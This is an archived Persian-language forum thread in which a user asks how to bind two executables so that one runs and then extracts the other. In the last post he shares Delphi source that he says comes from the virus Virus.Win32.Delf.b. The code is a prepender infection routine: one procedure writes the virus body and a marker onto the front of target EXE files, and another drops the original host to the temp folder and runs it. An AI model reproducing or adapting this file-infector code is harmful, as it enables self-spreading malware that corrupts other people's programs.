PDA

نسخه کامل مشاهده نسخه کامل : چسبوندن 2 تا exe بهم.



picher_s
07-02-2009, 12:26
سلام.
میخوام 2 تا exe رو بهم بچسبونم.
اما متفاوت با بقیه چسبوند ها ( میخوام مثل این روش نباشه
برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید )
طریقه چسبوندن اینجوریه :
2 تا PE داریم. PE1 , PE2
PE1 که برنامه اصلی هست می خوام بعد PE2 قرار بگیره ولی موقع PE1 اول اجرا بشه و PE2 رو جدا کنه و ...
ممنون میشم کسی کمک کنه.:31:

مرد مباح
07-02-2009, 21:37
دوست عزیز. اجرا کردن یک بحثه و یکی کردن (چسبوندن) یک بحث دیگه
برای اجرا کردن که خیلی راحت میتونی اولی رو اجرا کنی و توش به کمک ShellExec برنامه دوم رو صدا کنی و برنامه اصلی اولیه رو ببندی یا بزاری باز بمونه تا کار شماره 2 تموم بشه.
ولی برای جسبوندن راهی بلد نیستم. قبلا هم کمی دنبالش گشتم ولی چیزی یافت نشد.
من میخواستم یک کم÷ایل رو که از یک برنامه دیگه گزفتم توی اصل EXE خودم بریزم و نمیدونستم چطوری.

نمیخوام بحث Inject بشه. من خودم میخوام دستی یا به کمک برنامه ای این کارو بکنم.
اگه کسی برای این موضوع راه حلی بلده منم خوشحال میشم یاد بگیرمش.

picher_s
08-02-2009, 18:17
سلام.
عزیز تو لینکی که بالا گذاشتم یه نمونش رو گذاشتم. این کار شما رو راه میندازه!!
اما در این موردی که من گفتم خودمم توش موندم.
این گوشه ای ار سرس ویروسه Virus.Win32.Delf.b هستش که کارت رو راه میندازه. یه نمونه هم خودم نوشتم اگه خواستی میزارم.


PROCEDURE Prepend(DestinationFileName:STRING);

VAR

DestinationFile : FILE;

FileAttribute : Integer;

DestinationFileSize : Longint;

Buf : AnsiString;

BEGIN

TRY

FileAttribute:=GetFileAttributes(pAnsiChar(Destina tionFileName));

SetFileAttributes(pAnsiChar(DestinationFileName), 80);

{$I-}

AssignFile(DestinationFile,DestinationFileName);

FileMode:=2;

Reset(DestinationFile,1);

DestinationFileSize:=FileSize(DestinationFile);

SetLength(Buf,DestinationFileSize);

BlockRead(DestinationFile,Buf[1],DestinationFileSize);

IF Pos(VirusEndSignature,Buf)=0 THEN BEGIN

Seek(DestinationFile,0);

BlockWrite(DestinationFile,VirusBuffer[1],VirusSize);

BlockWrite(DestinationFile,VirusEndSignature[1],Length(VirusEndSignature));

BlockWrite(DestinationFile,Buf[1],DestinationFileSize);

CloseFile(DestinationFile);

END;

{$I+}

SetFileAttributes(pAnsiChar(DestinationFileName), FileAttribute);

FINALLY

END;

END;

//----

PROCEDURE DropFile;

VAR

G : FILE;

S : STRING;

T : Longint;

BEGIN

{$I-}

T:=VirusPositon+Length(VirusEndSignature);

IF VirusPositon>0 THEN BEGIN

// Working as a classic prepender if can not execute the original file in

// the memory.

IF(NOT IsNTBasedOS)OR(NOT CreateProcessEx(@VirusBuffer[T])) THEN BEGIN

TRY

S:=TempPath+ExtractFileName(ParamStr(0));

AssignFile(G,S);

Rewrite(G,1);

BlockWrite(G,VirusBuffer[T],Length(VirusBuffer)-T+1);

CloseFile(G);

WinExec(pChar(S+' '+CommandLineParameters),SW_SHOW);

EXCEPT

END;

END;

END;

{$I+}

END;

موفق باشید و چیروز.